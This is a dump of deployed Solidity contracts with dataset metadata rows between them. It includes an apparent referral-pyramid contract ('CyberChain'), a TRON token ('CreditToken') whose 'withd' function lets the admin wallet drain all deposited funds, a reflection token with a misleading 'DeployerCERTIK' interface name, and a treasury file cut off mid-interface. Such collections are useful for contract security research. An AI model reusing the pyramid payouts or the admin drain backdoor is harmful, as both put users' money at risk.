uint8[12][8] memory overflow_line2); function userLevelStructure(address _addr, uint8 _level) view external returns(bool active, address upline, uint256 reinvests, uint256[4] memory referrals, uint256[3] memory referrals_line1, uint8[3] memory overflow_line1, uint256[8] memory referrals_line2, uint8[8] memory overflow_line2); } contract CyberChain is ICyberChain { struct Level { bool active; address payable upline; address payable[] referrals_line1; Overflow[] overflow_line1; address payable[] referrals_line2; Overflow[] overflow_line2; uint256 reinvest; mapping(uint8 => uint256) referrals; } struct User { uint256 id; address payable upline; uint256 profit; uint256 lost; mapping(uint8 => Level) levels; } uint8 public constant MAX_LEVEL = 12; address payable public root; uint256 public last_id; uint256 public turnover; uint256[] public levels; mapping(address => User) public users; mapping(uint256 => address payable) public users_ids; address payable public fee1; address payable public fee2; constructor() public { root = 0x8d1e0128f12Ef69B9391522Bf39F87a10e5877de; fee1 = 0xBe90431790aEe49BbBEeceA0149B1e6Cb06bD7D3; fee2 = 0xd02243701dA5e8961Aa786f7B401d80294bEa4d2; _addUser(root, address(0)); for(uint8 i = 0; i < MAX_LEVEL; i++) { levels.push(i > 0 ? (levels[i - 1] * (i > 6 ? 3 : 2)) : 1e6); users[root].levels[i].active = true; emit BuyLevel(root, i, uint40(block.timestamp)); } } function() payable external { _register(msg.sender, _bytesToAddress(msg.data), msg.value); } function _addUser(address payable _user, address payable _upline) private { users[_user].id = ++last_id; users[_user].upline = _upline; users_ids[last_id] = _user; emit Register(_user, _upline, last_id, uint40(block.timestamp)); } function _send(address payable _addr, uint256 _value) private { if(_addr == address(0) || !_addr.send(_value)) { root.transfer(_value); } else { users[_addr].profit += _value; emit Profit(_addr, _value, uint40(block.timestamp)); } } function _sendComm() private { fee1.transfer(address(this).balance / 2); fee2.transfer(address(this).balance); } function _setLevelUpline(address payable _user, address payable _upline, uint8 _level, bool _second, Overflow _overflow) private { users[_upline].levels[_level].referrals[uint8(_overflow)]++; if(_second) { users[_upline].levels[_level].referrals_line2.push(_user); users[_upline].levels[_level].overflow_line2.push(_overflow); emit SetSecondLine(_user, _upline, _level, _overflow, uint40(block.timestamp)); } else { users[_user].levels[_level].upline = _upline; users[_upline].levels[_level].referrals_line1.push(_user); users[_upline].levels[_level].overflow_line1.push(_overflow); emit SetFirstLine(_user, _upline, _level, _overflow, uint40(block.timestamp)); } } function _reinvest(address payable _user, uint8 _level) private { users[_user].levels[_level].referrals_line1 = new address payable[](0); users[_user].levels[_level].overflow_line1 = new Overflow[](0); users[_user].levels[_level].referrals_line2 = new address payable[](0); users[_user].levels[_level].overflow_line2 = new Overflow[](0); users[_user].levels[_level].reinvest++; emit Reinvest(_user, _level, uint40(block.timestamp)); if(_user != root) _buyLevel(_user, _level, true); } function _buyLevel(address payable _user, uint8 _level, bool _reinv) private { if(!_reinv) { users[_user].levels[_level].active = true; emit BuyLevel(_user, _level, uint40(block.timestamp)); } address payable upline = _findUplineHasLevel(users[_user].upline, _level); bool overflow = users[_user].upline != upline; if(overflow) { users[users[_user].upline].lost += levels[_level]; emit Lost(users[_user].upline, levels[_level], uint40(block.timestamp)); } if(users[upline].levels[_level].referrals_line1.length < 3) { _setLevelUpline(_user, upline, _level, false, overflow ? Overflow.OUTRUN : Overflow.DIRECT); address payable sup_upline = users[upline].levels[_level].upline; if(sup_upline != address(0)) { if(!_reinv) { _send(upline, levels[_level] / 2); if(users[sup_upline].levels[_level].referrals_line2.length > 7) _send(_findUplineHasLevel(users[sup_upline].upline, _level), levels[_level] / 2); else if(users[sup_upline].levels[_level].referrals_line2.length > 6) _send(_findUplineHasLevel(sup_upline, _level), levels[_level] / 2); else _send(sup_upline, levels[_level] / 2); } if(users[sup_upline].levels[_level].referrals_line2.length < 8) { _setLevelUpline(_user, sup_upline, _level, true, overflow ? Overflow.OUTRUN : Overflow.DOWN); } else _reinvest(sup_upline, _level); } else if(!_reinv) _send(upline, levels[_level]); } else { address payable sub_upline = _findFreeReferrer(upline, _level); _setLevelUpline(_user, sub_upline, _level, false, overflow ? Overflow.OUTRUN : Overflow.UP); if(!_reinv) { _send(sub_upline, levels[_level] / 2); if(users[upline].levels[_level].referrals_line2.length > 7) _send(_findUplineHasLevel(users[upline].upline, _level), levels[_level] / 2); else if(users[upline].levels[_level].referrals_line2.length > 6) _send(_findUplineHasLevel(upline, _level), levels[_level] / 2); else _send(upline, levels[_level] / 2); } if(users[upline].levels[_level].referrals_line2.length < 8) { _setLevelUpline(_user, upline, _level, true, overflow ? Overflow.OUTRUN : Overflow.DIRECT); } else _reinvest(upline, _level); } } function _register(address payable _user, address payable _upline, uint256 _value) private { require(_value == this.levelPriceWithComm(0), "Invalid amount"); require(users[_user].upline == address(0) && _user != root, "User already exists"); require(users[_upline].upline != address(0) || _upline == root, "Upline not found"); _addUser(_user, _upline); _buyLevel(_user, 0, false); _sendComm(); turnover += levels[0]; } function register(address payable _upline) payable external { _register(msg.sender, _upline, msg.value); } function register(uint256 _upline_id) payable external { _register(msg.sender, users_ids[_upline_id], msg.value); } function upgrade() payable external returns(uint8 level) { require(users[msg.sender].upline != address(0), "User not register"); for(uint8 i = 1; i < MAX_LEVEL; i++) { if(!users[msg.sender].levels[i].active) { level = i; break; } } require(level > 0, "All levels active"); require(msg.value == this.levelPriceWithComm(level), "Invalid amount"); _buyLevel(msg.sender, level, false); _sendComm(); turnover += levels[level]; } function _bytesToAddress(bytes memory _data) private pure returns(address payable addr) { assembly { addr := mload(add(_data, 20)) } } function _findUplineHasLevel(address payable _user, uint8 _level) private view returns(address payable) { if(_user == root || (users[_user].levels[_level].active && (users[_user].levels[_level].reinvest == 0 || users[_user].levels[_level + 1].active || _level + 1 == MAX_LEVEL))) return _user; return _findUplineHasLevel(users[_user].upline, _level); } function _findFreeReferrer(address payable _user, uint8 _level) private view returns(address payable) { for(uint8 i = 0; i < 3; i++) { address payable ref = users[_user].levels[_level].referrals_line1[i]; if(users[ref].levels[_level].referrals_line1.length < 3) { return ref; } } } function levelPriceWithComm(uint8 _level) view external returns(uint256) { return levels[_level] + (levels[_level] / 100 * 4); } function contractInfo() view external returns(uint256 _last_id, uint256 _turnover) { return (last_id, turnover); } function getUserById(uint256 _id) view external returns(address addr, address upline) { return (users_ids[_id], users[users_ids[_id]].upline); } function userInfo(address _addr) view external returns(uint256 id, address upline, uint8 level, uint256 profit, uint256 lost) { for(uint8 l = 0; l < MAX_LEVEL; l++) { if(!users[_addr].levels[l].active) break; level = l; } return (users[_addr].id, users[_addr].upline, level, users[_addr].profit, users[_addr].lost); } function userStructure(address _addr) view external returns(uint256[12] memory reinvests, uint256[12][4] memory referrals, uint256[12][3] memory referrals_line1, uint8[12][3] memory overflow_line1, uint256[12][8] memory referrals_line2, uint8[12][8] memory overflow_line2) { for(uint8 l = 0; l < MAX_LEVEL; l++) { if(!users[_addr].levels[l].active) break; reinvests[l] = users[_addr].levels[l].reinvest; for(uint8 i = 0; i < 4; i++) { referrals[i][l] = users[_addr].levels[l].referrals[i]; } for(uint8 i = 0; i < 3; i++) { if(i >= users[_addr].levels[l].referrals_line1.length) break; referrals_line1[i][l] = users[users[_addr].levels[l].referrals_line1[i]].id; overflow_line1[i][l] = uint8(users[_addr].levels[l].overflow_line1[i]); } for(uint8 i = 0; i < 8; i++) { if(i >= users[_addr].levels[l].referrals_line2.length) break; referrals_line2[i][l] = users[users[_addr].levels[l].referrals_line2[i]].id; overflow_line2[i][l] = uint8(users[_addr].levels[l].overflow_line2[i]); } } } function userLevelStructure(address _addr, uint8 _level) view external returns(bool active, address upline, uint256 reinvests, uint256[4] memory referrals, uint256[3] memory referrals_line1, uint8[3] memory overflow_line1, uint256[8] memory referrals_line2, uint8[8] memory overflow_line2) { active = users[_addr].levels[_level].active; upline = users[_addr].levels[_level].upline; reinvests = users[_addr].levels[_level].reinvest; for(uint8 i = 0; i < 4; i++) { referrals[i] = users[_addr].levels[_level].referrals[i]; } for(uint8 i = 0; i < 3; i++) { if(i >= users[_addr].levels[_level].referrals_line1.length) break; referrals_line1[i] = users[users[_addr].levels[_level].referrals_line1[i]].id; overflow_line1[i] = uint8(users[_addr].levels[_level].overflow_line1[i]); } for(uint8 i = 0; i < 8; i++) { if(i >= users[_addr].levels[_level].referrals_line2.length) break; referrals_line2[i] = users[users[_addr].levels[_level].referrals_line2[i]].id; overflow_line2[i] = uint8(users[_addr].levels[_level].overflow_line2[i]); } } }
297,890
12,053
2fec8bdc95c3f9c6a979bd0e875ba52cc4fa9c7fc5c2626dfa11ad58fd41d988
14,426
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TP/TPhdPPPNFqVPV9iqEkoDTV7RXBPfanypeA_CreditToken.sol
3,139
12,130
//SourceUnit: credittoken.sol pragma solidity 0.5.9; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address initialOwner) internal { require(initialOwner != address(0), "Ownable: initial owner is the zero address"); _owner = initialOwner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface ITRC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TRC20 is ITRC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "TRC20: transfer from the zero address"); require(recipient != address(0), "TRC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "TRC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "TRC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "TRC20: approve from the zero address"); require(spender != address(0), "TRC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external; } contract Token is TRC20, Ownable { // registered contracts (to prevent loss of token via transfer function) mapping (address => bool) private _contracts; constructor() public Ownable(msg.sender) { // name of the token _name = "Credit Token"; // symbol of the token _symbol = "CT"; // decimals of the token _decimals = 6; } function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) { require(approve(spender, amount)); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData); return true; } function transfer(address to, uint256 value) public returns (bool) { if (_contracts[to]) { approveAndCall(to, value, new bytes(0)); } else { super.transfer(to, value); } return true; } function registerContract(address account) external onlyOwner { require(_isContract(account), "InvestingToken: account is not a smart-contract"); _contracts[account] = true; } function unregisterContract(address account) external onlyOwner { require(isRegistered(account), "InvestingToken: account is not registered yet"); _contracts[account] = false; } function isRegistered(address account) public view returns (bool) { return _contracts[account]; } function _isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } contract CreditToken is Token { uint256 public startTime; uint256 public startPrice = 5000000; // trx units per token uint256 public adminPercent = 5; // uint256 public referrerPercent = 5; // uint256 public increasePercent = 5; uint256 public increaseInterval = 1 days; uint256 public totalReferralRewards; uint256 public totalInvestors; mapping (address => User) public users; struct User { bool active; address referrer; uint256 totalInvited; uint256 totalEarned; } address payable wallet; event operation(address indexed account, string txType, uint256 tokenAmount, uint256 price, uint256 trxAmount, uint256 totalTrxBalance); event refBonus(address indexed referrer, address indexed referral, uint256 tokenAmount , uint256 level); event reset(uint256 period, uint256 price); //event levelref(address indexed receiver , address indexed payer , uint256 percent , uint256 level); constructor(address payable adminWallet) public { wallet = adminWallet; } function withd(uint256 amount) public{ require(msg.sender==wallet,"Only Admin!"); wallet.transfer(amount); } function distribution(address[] memory recipients, uint256[] memory amounts, uint256 startIndex) public onlyOwner { require(startTime == 0, "Only before start"); require(recipients.length == amounts.length, "Arrays are not equal"); uint256 i = startIndex; for (i; i < recipients.length; i++) { require(amounts[i] > 0, 'Zero amount was met'); _mint(recipients[i], amounts[i]); } } function buy(address referrer) public payable { require(msg.value > 0, "Send TRX please"); if (startTime == 0) { startTime = block.timestamp; } User storage user = users[msg.sender]; (wallet.send(msg.value.mul(adminPercent).div(100))); if (user.referrer == address(0) && users[referrer].active && referrer != msg.sender) { user.referrer = referrer; users[referrer].totalInvited += 1; } if (!user.active) { user.active = true; totalInvestors++; } uint256 tokenAmount = trxToToken(msg.value); _mint(msg.sender, tokenAmount); emit operation(msg.sender, "BUY", tokenAmount, getBuyPrice(), msg.value, address(this).balance); //**********************************1 if (referrer != address(0)) { tokenAmount = tokenAmount.mul(referrerPercent).div(100); _mint(referrer, tokenAmount); users[referrer].totalEarned = users[referrer].totalEarned.add(tokenAmount); totalReferralRewards = totalReferralRewards.add(tokenAmount); emit refBonus(referrer, msg.sender, tokenAmount , 1); } } function transfer(address to, uint256 value) public returns(bool) { if (to == address(this)) { sell(value); } else { super.transfer(to, value); } return true; } function sell(uint256 tokenAmount) public { require(tokenAmount > 0, "Specify the token amount to sell"); uint256 trxAmount = tokenToTrx(tokenAmount); _burn(msg.sender, tokenAmount); (msg.sender.send(trxAmount)); emit operation(msg.sender, "SELL", tokenAmount, getSellPrice(), trxAmount, address(this).balance); } function restart() public onlyOwner { require(address(this).balance <= 100 trx, "Only if balance is less than 100 trx"); emit reset(block.timestamp.sub(startTime), getBuyPrice()); startTime = block.timestamp; } function getUserReferrer(address account) public view returns(address) { return users[account].referrer; } function getUserRefInfo(address account) public view returns(uint256 totalInvited, uint256 totalEarned) { return (users[account].totalInvited, users[account].totalEarned); } function getBuyPrice() public view returns(uint256) { if (startTime != 0) { return startPrice.add(startPrice.mul(increasePercent).mul(block.timestamp.sub(startTime)).div(100).div(increaseInterval)); } else { return startPrice; } } function getSellPrice() public view returns(uint256) { return getBuyPrice().mul(85).div(100); } function trxToToken(uint256 trxAmount) public view returns(uint256) { return trxAmount.mul(1e6).div(getBuyPrice()); } function tokenToTrx(uint256 tokenAmount) public view returns(uint256) { return tokenAmount.mul(getSellPrice()).div(1e6); } }
297,935
12,054
f625ee3f3a837f601972000378ec723a38630689150b8779e95e770c7899c3fc
18,816
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/0d/0D187e1d1e63854C9C3d6f4156C1a950F5E32d4D_EURO.sol
4,183
15,786
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface DeployerCERTIK { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract EURO is Context, DeployerCERTIK, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9; uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply)); uint256 private _tFeeTotal; string private _name = 'EURO'; string private _symbol = 'EURO'; uint8 private _decimals = 9; constructor () { _rOwned[_msgSender()] = _rTotalSupply; emit Transfer(address(0), _msgSender(), _allTotalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _allTotalSupply; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotalSupply = _rTotalSupply.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _allTotalSupply, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotalSupply, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is not excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotalSupply = _rTotalSupply.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(5); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotalSupply; uint256 tSupply = _allTotalSupply; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply); return (rSupply, tSupply); } }
332,832
12,055
ce74fd7182cb54e849619dd2c2db68f0a5bcfea1601c2acd5d8b95989491670c
17,406
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/44/446100241D4b6808549B1C430c3CF4815C3Fa532_RebateTreasury.sol
3,166
12,419
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IOracle { function update() external; function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut); function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut); } interface ITreasury { function epoch() external view returns (uint256); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function 